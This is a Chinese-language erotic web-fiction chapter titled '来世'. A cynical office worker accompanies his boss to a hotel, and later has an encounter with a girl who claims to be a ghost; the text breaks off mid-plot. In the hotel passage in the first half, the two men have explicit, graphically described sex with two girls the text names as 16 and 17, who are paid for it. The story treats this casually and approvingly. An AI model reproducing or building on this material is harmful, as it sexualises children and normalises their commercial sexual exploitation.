图片载入中

来世

特大字】 【大字】 【中字】 【小字

城市灰濛濛的,上空飞着嗡嗡作响的鸽子,好像是要下雨,又好像是要起沙尘暴。

街上的人少得可怜,在我的印象里,好像每天都是这个样子。大概我的眼睛是灰色的,所以总也看不到阳光。拐过街角,就是我所在的公司了,要上去之前我总习惯慢慢的走。我不喜欢进去看到一张张没有情感紧张的脸,可能在他们眼中,我也是这样子。

公司的大楼矗立在那里,好像比我还孤独。就在这个时候,我的心提到了嗓子眼,我看见一个巨大的花盆不知道从多高的楼上面掉下来,它降落的地方,有一个头发长长的少女,眼看就要砸到她的头顶了,我吓得都有些不敢看了,但还是把眼睛睁得大大的,我喊了一声“小心,上面!”

也不知道是她运气好,还是练过凌波微步,明明是砸到她身上的花盆,在她的旁边摔个粉碎。

她看了一眼碎了花盆,脸色苍白,好像吓得还没有回魂。

我走过去,试探的和她说话,“小姐,有没有砸到你?”她抬头看了我一眼,眼神是如此的冰冷却是分外的美丽,这一眼,足够我记一辈子了。

她把风衣的领子掀了起来,盖住耳朵,好像没事人一样的从我身边走过,只是在走之前,摇了一下头,紧紧摇了一下头而已。她和我擦肩而过,用王家卫的话来说,我们距离最近的时候,只有0。01公分。可是令我没想到的是,几个小时以后,我真的爱上了这个女人

看着她远去的背影,心里有一点愤懑,还没见过这么不领情的人,她走路的样子很轻,好像身体没有一点的重量,与其说是一个人在走,还不如说是一个魂在飘。

我无奈的摇了一下头,手机突然响起,一看,是我的老板,胖子李。我跟他三年了,三样本领让我成了他身边的头号红人,拍马匹、捧臭脚、拍马屁加捧臭脚。

这三样,比我大学里学的什么知识都管用,我真后悔自己耽误太多的青春。胖子李和一般的老板没什么不同,挺着大肚子,今年五十多岁,人和他的名字一样俗气。也不知道他怎么混出来的,我知道,在这个城市里,他很罩。

我的名字比他还俗气,大家都叫我小李听好了,只有小李,没有飞刀。我是个孤儿,能活这么大已经是上天的恩赐了,原来的我自卑、自闭,后来我发现,要想活的好,必须不要脸一些,我做到了,对一个孤儿来说,没什么做不到的事情,我做的一切目的单纯而简单,就是为了活着,仅此而已。

我现在西装革履的,但是你要我现在下跪去要饭,我马上就能做出来,不会有一点的不好意思,让我现在去和一老女人睡觉,我马上就脱光衣服,你可以鄙视我,但是我要告诉你,当你一无所有的那时候,你可能还有一点点的自尊,可是当你从一无所有到有了很多的时候,你就会不顾一切的不让它再失去,我不相信一切,包括爱情、信仰、理想等等,我只相信,有钱才是硬道理。

胖子李说话还是老调子,这三年来,没有一点的变化。“小李啊,到哪了,如果你在门口的话就别上来了。

我冷冷的一笑,看来,今天不是去吃就是去赌,再不就去嫖。我常常跟着他白吃白赌白嫖,我把这些也当成工作。

“好的,老板,那我在楼下等你吧。”我回答。

“好,司机来的话你先上去,嘿嘿,今天我们玩点清淡的。”我关上电话,怎么也想不通清淡的是什么意思,管它呢,刀山火海,烂命一条。司机老张把车开了过来,开开门让我上去,和我熟络的打着招唿。

小李早啊,今天又和老板出去嘛?是啊,他让我等他,下来了胖子李的肚子比任何一个怀孕的女人都不落下风,而且让我最纳闷的是他总是把腰带扎得很紧,好像这样就能让肚子小点似的,人有时候真是一个奇怪的动物。

“老板,今天格外神采奕奕啊!”我笑着说。

“是吗?”他发出一阵大笑,还对着车镜弄弄头发,看起来还挺满意。 本来后排三个人的座位,我们两个坐的刚好没什么空隙,我不胖,像我这样的人,没有可能胖的,因为我的危机意识,不比常人。

胖子李伸了个懒腰,摘下眼镜,眼镜下面的两个窟窿已经没有一点神采,像两个已经干涸的泉眼。

带上眼镜之后马上露出极其龌龊的微笑,小声的说:“今天弄了两个嫩货,艺术学院的小妞。他说着好像就要流口水了,被腰带扎得顶起的肚子也快掉到了车上。是吗?老板双飞啊,还是我们一人一个。我笑着问,我们已经很熟悉了,这样的事情也没少干。谁让我们是本家呢,嘿嘿嘿。”他笑得极淫荡,那么我笑得就得比他还淫荡,这也是工作的一部分。

“好,那老板先挑,我要剩下,或者您先来,我打扫残局好久没玩过小的了,你可得对她们有点风度,别给我丢人啊,哈哈哈。”

他居然还嘱咐我,你说这人上哪里看去我们对着笑,一老一少的两只狼就要去收拾两只小绵羊,说实话,这几年跟着他各种各样的女人也没少上过,上十五六岁的小姑娘,还是第一次。车到了我们熟悉的宾馆,这里简直就是我和胖子李第二个家。

两个少女早已经在屋子里面等候了,我们进去的时候,她们的眼光全都落到了我的身上。眼神直直看着我居然把这个大男人弄得有点不好意思了,赶紧把眼神移开,现在的女孩都这么凶的吗?胖子李满脸堆笑的走了过去,笑着说:两位美女早啊,今天不上课吗?”

他还弄出一副长者之风,真不知道能维持多久!

“李总,你好,我叫程羽,她叫杨雪,今天没课。”个子稍微高一点的女生说。 我仔细看了看两个女孩,那个叫程羽的个子有1米7左右,眼睛不大,但是却妖娆妩媚,是胖子李喜欢的类型,他骑长腿美女的时候特来劲,大概是报复一下命运给他的生理缺陷。

叫杨雪的眼睛很大,瓜子脸,尖下巴,绝对的美女,眼神还挺单纯的,她的眼神一直在我身上打转,基本上没看过胖子李。

“程羽,这个名字起得好啊,和成语谐音,小李啊,说几个成语大家开心开心,打破一下尴尬的气氛,啊,哈哈!”

我这个恨啊,庸俗的人连幽默感都如此庸俗得要命,可是我必要要配合他。 我马上一脸假笑,“程羽小姐真是美若天仙,倾国倾城,老板,你说呢?” “是,是,那自然,说的好啊,说的好,哈哈。”

胖子李笑得像一个蒸过尽的大馒头,真让人恶心。

两个女孩花枝乱颤,叫杨雪的说,“李总,他是你的助手吧,长的真帅,都可以去拍电影了。”

“是吗?”

胖子李的声音有一点点的变化,这怎能逃过我的耳朵!

我赶紧说:“杨雪小姐,男人帅有什么用,金玉其外,败絮其中,男人最重要的是有涵养、有内涵、有气派,像我们李总这样的,往那里一坐就是不说话也可以吸引所有人的目光。”

我边说边向两个女孩眨了几下眼,杨雪还木木的,程羽立刻反应过来。 “就是,像李总这样的算真男人,一看就是很有修养的人呢。

“这个,这个,见人见智,虽然大家都这么说,我倒不怎么觉得,哈哈。” 胖子李马上又恢复了生气,我也出了一口气,那个叫程羽的女孩,真的是一点就透。

上了点水果和酒水,大家一边吃一边聊。

原来杨雪还比程羽大一岁,她17岁,而程羽只有16岁,可是看上去程羽比杨雪要成熟的多,人不可貌相,尤其是女人。

程羽是学舞蹈的,杨雪是学钢琴的,据她们自己说在学校里都是优等生,这个我倒相信,我在学校也他妈的是年年一等奖学金,不是我上进,只不过我穷,穷人就得有穷人的法子,现在出来不也是这副德行。

胖子李喝了点小酒,手立刻就不怎么老实了,在程羽的大腿上蹭来蹭去的,我看情形,对杨雪说,“走啊,我们进去打牌啊。”

杨雪立刻笑着说好,我看着胖子李,对了个心照不宣的坏坏的眼色,一是通知他,二是请示他可不可以把这个女人带走,他点了头同样的坏笑,我搂着杨雪的肩膀走向卧室,回头撇了一下胖子李,他的手已经伸进了程羽的裙子里。

走进卧室后,我对杨雪说:“我们要不要看戏?”

杨雪红着脸,说:“好。”

我们两个偷偷的把视线投向客厅,因为有东西挡着,看得并不太清楚,不过胖子李那个超级大肚子无论如何也挡不住,程羽已经跪在地上,不知道把肚子下面的什么东西含到嘴里了,我对杨雪说,“我们老板小便的时候,看不到自己的小弟弟。”

杨雪红晕的脸闪烁着一丝疑惑,然后马上咯咯的笑着回答:“是不是肚子太大了啊,呵呵。”

我诡秘一笑,答道:“你答对了一半,还有一个原因,他的弟弟太小了。” 我们两个偷偷的笑了一阵,我们自然的接吻,就像一对恋人,杨雪完全沉醉其中了。

她好像已经忘记自己在卖淫,善于调节气氛,这大概也是我的长处之一吧。 我轻轻的解下她的衣服,不知不觉,她已经变成了一个赤裸的小白羊。 她的皮肤很好,乳房不大,却饱满浑圆坚挺,阴毛不多却柔软,在我玩过的女人里,绝对是上品了。

她接吻的技术并不高明,应该不是经常出来做的人,而且可能性交的次数也不会很多。

“噢,爽,爽,噢………”胖子李尖声的有点像个娘们似的尖叫传了过来。 我把杨雪抱上床,揉搓着她的乳房,抚摸她可爱的小屁股。

她闭上眼睛,好像少女把身体交给自己恋人那种感觉,这表现让我有一点爱怜。 分开她的双腿,一张一合的小穴散发着青春的气息,粉红而晶莹,有几点爱液还闪着亮光。

花钱行乐的时候我是从来不给对方口交的,我认为出来玩,就是为了自己开心。 可是这一次却有了这种冲动,她的屄像个可爱的小点心,味道应该不错吧。 我用舌头在她的小穴上一下一下舔着,或者伸到里面搅动,或者含住阴蒂吮吸。 高级的手段我不会,我只知道跟着感觉走,她开始呻吟起来,两腿微微的回收,两个膝盖顶在一起,看样子既享受,又有点紧张。

随着我动作的加快,她的**像泉水一样涌出来,正好有道阳光照在上面,把我的眼睛晃了一下。

我放弃了让她给我口交的打算,亮晶晶的小穴太迷人了。

我直接把鸡巴掏出来慢慢的插了进去,连衣服都没有脱。

她嗯的一声,略微紧张的身体并没有对我的鸡巴造成太大的障碍。

看着鸡巴被她可爱的屄包着,那感觉真的很奇妙,我第一次感觉到来自器官以外的快感。

我慢慢的抽插,看着鸡巴一进一出的过程也蛮享受的,从这刻起,我对女人的看法渐渐的改变了。

她小声的呻吟,比起外面那个程羽唿天喊地的浪叫,差得老远。

“啊……啊……啊………”我并不觉得单调,而且心里还有点小小的谴责。 人的情绪每一秒都不同。

她的身体忽然颤抖起来,阵阵的阴精打在我的龟头上,我的龟头一紧,也扑哧扑哧的射了,我从来没有这么舒服过,紧紧抓住她的腿,享受这片刻的极乐。

“干……死……我……了……大……鸡……巴……哥……哥……亲爱的……老公……李……总……叔叔………”

外边的程羽一口气喊了七八个称唿,把躺在床上喘息的我们都给逗笑了。 “外边那个比你厉害多了。真是巾帼英雄啊!”我笑着说,我可能拍马匹都养成习惯了。

“她们舞蹈系的几乎都这样,没一个好东西。”杨雪说。

“那你呢?五十步笑百步。”我刮她一下可爱的小鼻子。

“我才不呢,我们钢琴系出来做的也不多,一半一半吧,不像她们舞蹈系,基本是职业的?

“你们学校出来做的人多吗?”我问。

“嗯,不少,其实就是这环境,其实我也不想出来,可人家吃的用的玩的,真的是…………”

“人比人气死人,对不对?”

“对啊,起初还好,后来看她们那样子,一个个跟公主似的,谁不知道是跟母狗似的侍侯人换来的,可是看着还是妒忌、眼红,你不知道,女孩子真的攀比起来,比你们男人厉害多了。”

“这个我相信,漂亮女人天生就是仇敌,不过,难道每一个出来的人都有路子嘛?”

“呵呵,当然了,而且还有人介绍呢,班里的同学经常给我介绍活,我选择做了几次。”

“这样子,那就没有守身如玉的?”

“有倒是有,不过少的可怜,就这个环境,我一开始也极度鄙视的,可是后来不还是做了,其实也没什么,大家都一样,这世界,谁比谁高尚啊。”

她连着说了两遍就这个环境,我明白,不管真理是不是在少数人手中,但是标准还是大多数人的手来决定的。

外边还在伊咿呀呀的叫着,杨雪笑着说:“看不出来,你老板还挺持久。” “磕药了,否则他可能都不举了。”我回答。

她领悟似的点点头,小手握住我又恢复生气的鸡巴,说:“年轻真好啊。” 我翻身把她压到底下,坏笑的重复着她的话:“年轻真好啊,为了我们的青春,再干一次。”

杨雪快乐的眨着眼,说:“好,青春万……岁!”

我的鸡巴已经生龙活虎钻进了那个还流淌着精子的小穴,又一番激战,又一次消魂。

休息的时候,程羽还跳了一段舞蹈,那身段,真不是盖的,杨雪弹了一段钢琴,看着她熟练的手指在键盘上飞翔,我都有点崇拜了,真是才女啊。两个小时后,我们四个衣冠楚楚的走出来,一老一小两个西服革履的男士,两个漂亮可爱的少女,谁知道我们刚才干了什么勾当!

杨雪还和我牵着手,依依不舍的走了,我真的有点骄傲了。

胖子李看来累得够戗,走起路来一步三摇的,你说怎么这么巧,对面一个胖乎乎的妇女带着黑色的墨镜往这边一望,胖子李的老脸立刻抽成了一团。

“老李,你怎么在这里。”

那个妇女一边说话一边走过来,来者不是别人,正式胖子李的正牌夫人,超级母老虎刘红华,据说,胖子李就是靠着这个女人发迹的,刘红华的父亲,以前是这个市的副市长。

我看形势不对,在宾馆出来的,那一定不是什么好事了,我灵机一动,破口大骂:“我操他个妈,不签就不签,你看他那死德行,好像谁求他似的。”

胖子李看着我,马上笑咪咪的拍着我的肩膀,说:“年轻人,做生意这样的情形多了,记住一点,软磨硬泡,好事多磨。”

刘红华也笑了一下,说:“小李,平时看你老实巴交的,没想到也有点脾气嘛,正常,你李叔年轻的时候也没少受气。”

我点点头,感激的看着她,说:“刘姨说的也是,可是今天的事的确气人,我就没见过这样的人。”

刘红华看着胖子李,胖子李立刻杜撰了一个莫须有的生意,的确老江湖,编的没有一点破绽。

“小李,别生气了,下午你不用来上班了,散散心,反正单位没什么事,明天可不能迟到啊!”

我心里明白这是老板对我的奖励,说:“谢谢老板,刘姨,那我先走了。” 他们两个也都哼哈的答应了一下,我找最近的转弯处拐了弯。

天空还是灰濛濛的,死鱼一样的没有生气,行人三三两两,街道空空旷矿。 我出了一口气,为自己的演技感到很满意,同时,一股疲惫感代替了一切。 不是疲劳,是一种心的疲倦,我经常有这样的感觉,今天格外的真切。 就这样一天一天的,我到底是为了什么呢?我掏出一根烟点燃,看着天空。 可能永远也找不到答案,我为什么还要想这无聊的问题,现在的我只想找个地方坐一会。

我像一个犯了心脏病人找救生丸一样找一个休息的地方,每次这样的时候,我只要找个地方休息一会就没事了。

走着走着,我发现了一个长凳,上面还坐着一个人,这个身影有一点熟悉。 当我走到她面前的时候,我想起,这不是早上那个差点没命的女孩吗? 她坐在长凳上,依然是用风衣盖住耳朵,手插进兜里,目光呆滞,我严重怀疑她不是失恋了,就是被甩了,反正区别不大。

我用手在她的面前晃了晃,试探的问了她一句:“你没事吧,还记得我吗,早上和你打招唿那个。”

她还是没有睬我,我无趣的坐在她身边,不知道怎么,突然传过一阵凉意。 我又扫了她一眼,她的眼神还是那么冰冷,这样的人还是不要搭理了,万一精神错乱我就麻烦了,我想走,看附近也没有坐的地方,我特意的和她坐得稍微远一点。

我们两个就这样坐着,就在我想走的时候,她突然开口讲话了,“你有死过吗?”

她问我,她看我的眼神,让我后背飕飕的冒着冷风。

“死过。”我回答。

“真的吗?”

她的样子忽然让我很心疼,不知道谁这么王八蛋,抛弃了这个脆弱美丽的少女。 “醉生梦死过。”我自己对自己笑了一笑,我知道她不会有反应的,算是我说给我自己的冷笑话好了。

可是没想到她真的挤出一丝微笑,虽然只有那么一点点,却足够美丽和震撼了,我的心跳了一小下。

“你怎么啦,是不是遇到什么不开心的事,介意和我说说吗?”

“我被人抛弃了!”

她流泪了,你看,我说什么来着,我对自己的推测非常满意。

“我也被人甩了,甩着甩着甩习惯就好了。”我说。

她用不可思议的眼神看着我,惊诧说:“难道你的心不痛,你没有心吗?” 我用手指了指心脏的部位,说:“你问的是这里,有是有,不过它只管维持生命,不管喜怒哀乐,对我来说,有的是比失恋更大的事,比如说,生存!”

她被我的话吸引了,上下打量着我“看你的样子好像生活的很好啊。” “好像是,我今年25岁,用一个词形容我以前的生活,我觉得顽强比较合适,而且后25岁打算用虚伪来定义,你没经历过社会吗,生活就是这样子。”

她摇着头,说:“我还是大学生,很多事情都不懂,对我来说,失去爱人,就像天塌了一样。”

我轻蔑的一笑,我把我以前的经历给她讲了一遍,我讲这些,一点感觉都没有。 她听着听着,身体颤抖了起来,她的眼神变了,变得那么温柔。

她忽然伸出手抚摸着我的脸,我却一点都不觉得唐突。

“你也太可怜啊,我真的不敢相信。”

“所以说,失恋就不要放在心上了,旧的不去,新的不来嘛。”我笑着说。 她的眼睛一亮,用力的点了点头,坚定的说:“嗯,你说的对,以前我怎么不知道呢,我真是傻瓜。”

我看她好像变好起来,疲惫感不知道怎么就不见了,真是怪事,而且心里还暖融融的。

“所以说嘛,人活一辈子,有今生,没来世,为什么不开心呢,达人自乐,庸人自饶。”

她好像在回味我的话,单纯的样子就像5岁的小女孩在想着大人说的做人要诚实是什么意思的表情是一样的。

“难道人真的没有来世吗?你相信这世界有鬼吗?”她的眼睛雾濛濛的,她怎么好像什么都不懂。

我说:“只有和尚才相信来世吧,鬼,可能有吧,不找上我就行了。” 她笑了,说:“那你就错了,我就是鬼!”

就在这个时候,忽然下雨了,好像酝酿的时间太久了,所以来得特别快。 “快走。”我拉起她的手,找地方躲雨,她的手也是冰凉冰凉的,我好像握住了一块冰。

跑到一个雨搭下面的时候,我唿哧唿哧的喘着气,她笑着看着我,一点反应都没有。

我就纳闷了,跑了这么远她怎么连脸都不红,气都不喘。

“你是不是练长跑的啊?”我一边大口的喘着气,一边不解的问。

她只是笑,没有回答,肯定是了,刚才还说过人不可貌相的,弱不禁风的女子,可能还是个健将。

她看着落下的雨点,伸手去接,这个动作配上了她的脸、她的眼神、她的神态,简直太美丽了,我偷偷把手机拿出来,拍了下来。然后又悄悄的把手机放了回去,好像什么事都没发生一样。

我得意的笑了一下,正好被她的回眸给捕捉到了,眼睛一挑,问:“你笑什么,是不是笑我?”

“没啊,我怎么会。”

“我说在那边的大树下有一对情侣在接吻,在后边的电话厅边有一对夫妇在打架,加油站里现在有七辆车在等待,对面的小商店里一男二女在打扑克。”

我看着她诡秘的笑了一下,这个小丫头,想像能力够丰富的呢,你等着!我跑想雨中,跑到大树下一看,果真有一对小年轻亲的火热,有人来了都不知道。

我看了看我来的那个角度,可能能看见一点,我顺着路跑到加油站。

“一,二,三,四,五,六,七,老天爷。”

“七,六,五,四,三,二,一,天老爷!”

还没走到电话厅,激烈的吵架声就传了过来。

“孩子都这么大了,芳,你别把事情闹得太大,以大局为重。”

“大局,大局,我他妈出去鬼混你以大局为重一个给我看看,男人,没一个好东西。”

我都有点茫然了,这到底是怎么回事,这难道就是传说中的第六感吗? 我也不想再核对最后一项了,我来小店,只想买两瓶水。

推门进去,就看见老板的脸上贴着纸条,手里拿了一把扑克。

我差点没昏过去,转身就往回走。

“先生买点什么啊,喂,先生…………”老板在后面喊着我。

她看着我失魂落魄的回来,眼睛里的笑意更浓了。

我一屁股坐在台阶上,用最不可思议的眼神看着她。

“达人啊,难道你真的有超能力?”我几乎是哭丧着脸说的。

她咯咯的笑起来,像雨中被风吹响的风铃。

“方圆十米,我无所不知。哈哈,逗你玩呢,刚才来的时候,我顺便看到,刚才小店开门的时候,我也看了一眼,哈哈哈。”

现在她这样解释我都有点不信了,“那加油站的车是怎么回事,不可能这么巧的,这么长时间难道一个都不开走,一个都不来?”

“这个可能开走了一辆又有一辆补上了,所以数目和刚才一样,完全有这个可能的。”

想来想去也是,这个世界哪有超能力,有的话也不会被我碰上的。我看着她笑嘻嘻的样子,好像完全变了一个样子。

我看见一块冰在融化,或许,根本就不是一块冰。

而是一堆火,它在我的眸子里串起兰色的焰,跳着明快的调子。

我的心情平静了下来,这个小鬼头,还真被她煳弄了一把,女人,绝对不貌相,这已经是今天第三次提醒我了。刚才我还像个大人一样的教育人,现在居然这么狼狈。

“哎,这世界大概没什么达人,高看你了。”

“不是啊,我觉得你是个达人。”她还在笑。

“我也不过庸人,和在街道上走来走去的一样,以后再也不给别人讲大道理劝人了,自己又做不到。”

“你别误会,我是真心的夸你的,你比我懂得多的多呢。”

我无奈的看了她一样,她的眼睛纯真而明亮,她眼神里的世界一定是个干干净净的。我在她的眼睛里,看到了阳光的样子。

“大概我们受的教育不一样吧,你都是从书上看来的,我是社会赋予的,大概风花雪月的浪漫我不懂,尔虞我诈的社会你不懂吧。”

“你说的对,很对,非常对,对极了,如果有来世,我也要早点了解社会,大概现在的教育真的有点问题。”

她若有所思的说着,我觉得她说的也对,目前中国这样全封闭的社会教育和传统的家庭理念是有点老套了,不过现在不管我事,我还没子女。

“说说你的男朋友吧,她为什么要离开你?”我问。

“说来简单,喜新厌旧呗。”她回答。

“那你还值得为他伤心的在街头暴走吗?差点没让意外夺去小命。”

“说的是啊,如果人能够计算得失再决定伤不伤心该多好。可我做不到啊,谁能做到呢,你能吗?”

我能吗?如果我说能,为什么又常常的疲惫不堪呢,这些事情不是早就想通了吗?

情感,真是一个玄之又玄的东西,看不见,摸不着,想不通,还离不开。 “不能,我也是庸人来着啊,不过看你现在的样子很轻松。”

“因为我发现有人比我惨得多,心理就平衡了,谢谢你!”

我真是苦笑不得,用自己的伤疤给别人带来安慰,也算善举吧。

“不客气,我本善良。”

“为什么要加个本字?”

“因为很多事情你不懂,不说这个了好不好?”

“装深沉,报个名号吧,我不信什么相逢何必曾相识那套的。”

现代的年轻人都这么有个性吗?她恢复本来面目的样子真的是太可爱了。 “李翔,没有理想的李翔,你可以叫我小李,小李哥哥最好。”

“还小李飞刀呢,咯咯。我叫小凡,小李的小,平凡的凡,我的网名很酷,叫火并温柔玫瑰。”

我伸手,说:“很高兴认识你,今天是个浪漫的日子。”

她把手放在我的手里,笑着说:“牵手总在雨天,我们联手把那个伤心定律打破好不好?”

她握住我的手不再放开了,虽然还是那么凉,可是我的心却那么热。

我真想冲进雨里,把衣服脱光,然后大喊大叫的发泄一下。

发泄一下这幸福的感觉,二十几年从来都没有过的感觉。

我还想痛哭一场,哭给往事,哭给自己,昏昏噩噩的活了这么久,终于看到一丝希望。

“好,为什么不呢?”雨渐渐的大起来,连着的雨点像一副可爱的帘子,把我们挡在里面。

“给我唱首歌吧!”她说。

“嗯,这样的天气,给你唱首阴天吧。”

“呵呵,高难度啊,反串。”

“我有窍门,男版的阴天更胜原版。”

我稍稍准备了一下,别说还真有点紧张,不过我对自己的拿手曲目还是有点信心的。

“阴天在不开灯的房间,当所有思绪都一点一点沉淀,爱情究竟是精神鸦片还是世纪末的无聊消遣,香烟氲成一滩光圈,和他的照片就摆在手边,傻傻两个人笑得多甜。”

她听得出神,我停下来,笑着问她:“怎么样?”

她伸出大拇指,夸奖道:“太神奇了,你怎么学得那么像啊。”

“八个字,气若游丝,歇斯底里。”

她回味着,似懂非懂的样子,这是她最最迷人的表现,可爱不说,还可以满足我的虚荣。

“阴天在不开灯的房间当所有思绪都一点一点沉淀爱恨情欲里的疑点盲点唿之欲出那么明显女孩通通让到一边这歌里的细微末节就算都体验若想真明白真要好几年回想那一天喧闹的喜宴耳边响起的究竟是序曲或完结篇感情不就是你情我愿最好爱恨扯平两不相欠感情说穿了一人挣脱的一人去捡男人大可不必百口莫辩女人实在无须楚楚可怜总之那几年你们两个没有缘”

“若想真明白,真要好几年,哎,我好像懂点什么了?”

“你现在成熟了,长大了。”我说。

“或许死过一次的人,更容易理解吧。”

她好像有一点忧郁,不自觉的靠着我的肩膀,我也很自然的把她搂在怀中。 我们谁也没说话了,看着冒着烟的雨和几个还在雨中穿梭的路人。

他们在这个城市里,是过客还是归人呢?我又算什么呢?

他们这样的奔波,是不是也有一个人在等他回去,给他换掉湿淋淋的衣服,递上热腾腾的毛巾,他们一边抱怨的这该死的天气,一边还要询问一下儿女的成绩,厨房的水开了,饭熟了,几口人围在饭桌前,或大快朵颐,或露出笑脸,多么幸福的样子。

我会不会有这样的一天呢,安静的生活,琐碎的幸福。

我看着怀里的女孩,她又在想些什么,她长长的睫毛下,有双比海还要深的眼睛。

“小李,小李,小李,小李………”她一遍一遍的有节奏的喊着我的名字,好像在喊小猫小狗小驴小猪。

“在,在,在,在……………”她说一遍我就答一次。

她笑了,说:“我说一千次,你就会回答一千次吗?”

“会的。”我回答。

“一万次呢?”

“也会。”

“十万次?”

“不管多少次,只要你唿唤我,我就会回答你,反正你说两个字,我说一个字,不信耗不过你。”

她用屁股拱了我一下,我也拱了她一下,她再拱,我觉得我们两个像两个小朋友。

“知道吗?今天,是莫小凡的、生、日。”她一个字一个字的说出来。 我瞪大了眼睛看着她,说:“那你为什么不早说,这很重要的。”

“你想送我礼物讨好我吗?”她眼睛一眨一眨的。

“就算是吧,你想要什么?”

她想了想,说,“你学幼儿园的小朋友做游戏给我看,好不好?”

她满怀期望的看着我,我怎么忍心拒绝呢,可是我没上过那地方。

“好,你看好了。”我站起来,一边蹦一边念着自己遍的歌谣。

“小猫小猫颠颠颠,小狗小狗跳跳跳,小猪小猪闹闹闹,小鸡小鸡叫叫叫………”

她笑得直不起腰,晶莹的眼睛,纯真的笑脸!

“哪里来的野孩子,赶紧哄出去。”她说。

我折腾的够戗,回到她身边,委屈的说:“人家本来就没上过幼儿园嘛。” 她抚摸着我的脸,歉意的说:“对不起啊,我开玩笑的,你好了不起,谢谢r 你。”

我们互相凝望着,好像有一块吸唇石放到了我们两个中间。

有生以来,我第一次接吻的时候闭上了眼睛,现在的我终于相信,尘世里真的有种东西,叫爱情。

四片唇相接,两颗心相连,这种感觉,叫甜蜜。

当我们睁开眼睛的时候,好像是几个世纪以后了。

她的眼睛如雾如月,朦胧美丽,海洋般深邃,秋水般清澈。

“你等一下,等我。”我说完,转身奔向雨中。

“你去哪里?”大雨落在我的头上,完全都没有感觉。

“等我回来就知道了,等我就好了。”

我拦了一辆车,找了城里最好的蛋糕店,定了一个很大的蛋糕,署上她的名字。来回一路上脑海里都是她的样子。这些事情都是凭借下意识做的。

回来的时候,站到她身边,我才发现我已经湿透了。

“好大的蛋糕啊。”她看着湿淋淋的我,说。

“送你的糖果,喜欢吗?找个地方,把它吃掉?”

“去哪?”

“我家?”

“走。”

我的家不大,有点乱,被子从来不叠,摆设尚算整齐。

有个小桌子,两个小凳子,一个小床,一个小衣柜。

“你这也叫家吗?好简单啊。”

“不一定要五脏俱全才叫家,只有有人就可以了。

“要起码有两个才可以,一个男的,一个女的。”她说。

“你太聪明了,达人。”

我笑了一下把东西搬过来,准备点蜡烛,切蛋糕。

“等会再吃吧,你先把衣服换一下,像个落汤鸡。”

经她提醒,我才发现,可是她在我又有些不好意思。

让她回避一下,又有点舍不得。

“你转一下身,好不好?”我说。

“这可不保险啊,我喜欢360度的转。”她笑得有点坏。

“非礼勿视嘛。”我边说边把她转过去。

“你数十个数,我就搞定了,开始吧。”我赶紧把衣服都脱掉,只剩下一个内裤。

“一二三四五,六七……”

“慢点。”

“八”、“九”当我还在手忙脚乱的时候,她已经转了过来。

“你居然没有脱光,不给面子。”她笑得很自然,并没有多少羞涩。

“你还没有数到十。”

“女人怎么会守信用,就算是有,也不是我。”

她的样子可爱极了,我有点看得痴了。

我穿着三角裤走到她的面前,她扫了一眼我鼓鼓地方,脸上挂起一丝绯红。 我抱着她的肩膀,吻她。

她的衣服一件件的脱落,肩膀很瘦,皮肤苍白的没有血色,却光滑如绸缎。 她的乳头颜色很淡,抵着我的胸膛,身体开始有了一点温度。

我把她抱到床上,一点一点的亲吻她,生怕放过一个地方。

她的小穴非常干净、规则,就像她的人一样,我轻轻的把舌头压在她的阴蒂上,她兴奋的喘息,用手抓住我的臂膀,小穴有蜜液渗出来,有一点咸,有一点甜。

“小……李……”

她唿唤着我的名字,把我拉上来,然后又一翻身,把我压在身下。

她的眼睛有一丝迷乱,一丝渴望!

“今天,我的生日,我做主。”她说说完这句话,她完全变了一个样子,她狂乱着吻着我的身体。

她不要我动,我们的角色对换了。

她坐了上来,将我鸡巴陷进她体内,她冰冷的身体变温热。

而且温度越来越高,汗滴落在我的胸膛。

她像蛇一样扭动着腰肢,动作十分狂野。

她好像在发泄,好像要把一生的激情一次用尽。

我终于在震惊中在她体内爆发了,她也一样,我有点好奇,她这是怎么了。 她爬在我的怀里,大口大口的喘着气。

“小凡,生日快乐。”

“嗯,你还真会找时候。”

“你还有什么心事吗?”

“没,我很开心,把你吓到了?”

“没,我喜欢。”

“讨厌。”她的声音有点腻,听得我甜丝丝的。既然她不想说就算了,我隐约可以感觉有点不对劲。

“休息一会吃蛋糕,你累了吧。”我温柔的说。

“好,我们睡觉吧,醒了再吃。”她闭上了眼睛,长长的睫毛上,好像有一滴泪水。

她睡着了,像个安静的小猫爬在我的胸膛。我也跟着睡了。

不知道睡了多久,我的手机响了,不用看就知道,一定是我老板,胖子李。 “小李啊,出来一下,5点到老地方等我。”

“老板,我……”

“怎么啦,你不方便?”

“不不,5点见。”

关上手机,她也醒了,用她那如繁星般眼睛看着我。

“你要出去?”

“嗯,老板的电话,不好拒绝。”

她好像有点失望,点点头说,“那快去快回吧,我等你回来吃蛋糕。” “好,我很快就回来。”和她吻别出来后,我把胖子李全家问候了一遍。 老远的看见胖子李,正和郑局寒暄着,看情形,这是一个牌局,叫我来的目的大概只有一个,侍侯局子,他们几个想来都好笑,几个人水平一个比一个差,但是都是特别较真的人。

人家玩的时候说说笑笑,又是小姐陪又是吃吃喝喝的,他们不一样,除了我就再也没有多余的人了,一个个表情严肃,打错牌的表情就像死了爹一样,除了麻将的声音谁也不说一句话,胖子李开会的时候也不会这样,所以说,水平越低的人,对待事情就可能越认真。

一切都是老样子,张总、吴司长、胖子李、郑局四个面无表情的出着牌,我在旁边静静的坐着,递烟递水,每次散局的时候好处都不少,我倒也落个实惠,可是今天不一样,我一秒钟都不想呆在这里。

八圈牌下来已经11点多了,我看着表,心里想小凡一定在家里等急了,可是这帮家伙根本就没有要散的趋势,胖子李输得一张大脸像个紫茄子,输钱大概他也不在乎,就是憋屈,牌不顺的时候真的挺气人的。

“小李,来过来帮我摸一把,我上趟厕所。”胖子李一晃三摇的去了厕所。 摸完牌掀起来,十三牌好像是十三个小电视,每一个上面都上映着小凡不同的样子。

笑的样子,哭的样子,调皮的样子,忧郁的样子,还有一个坐在蜡烛旁等待的样子。

不知道什么时候,胖子李站在了我的后面。

“小李,你有事?”

“老板,我想回去。”

“把这把打完你就走吧。”胖子李说。

好不容易挺下来,我和他们道了别转身就要走。

“你回来,开我的车走吧。”胖子李把车钥匙给了我。

怪不得今天没看到司机,原来是他自己开车来的。

“老板,不用了…………”我推辞。

“拿去吧,慢点开。”胖子李拍了拍我的肩膀就去打麻将了。

我差点没感动的掉眼泪,真想不到胖子李还是蛮可爱的。

我车开的还成,就是没有钱买车,道上的人也不多,我开足马力,在街上飞驰。 一个好几十秒的红灯好像成心和我过不去似的,亮得那么刺眼。

我在车里焦急的等待,望向窗外,已近午夜,不知道现在谁在打酣,谁在梦回。 我只知道小凡在等我回去?
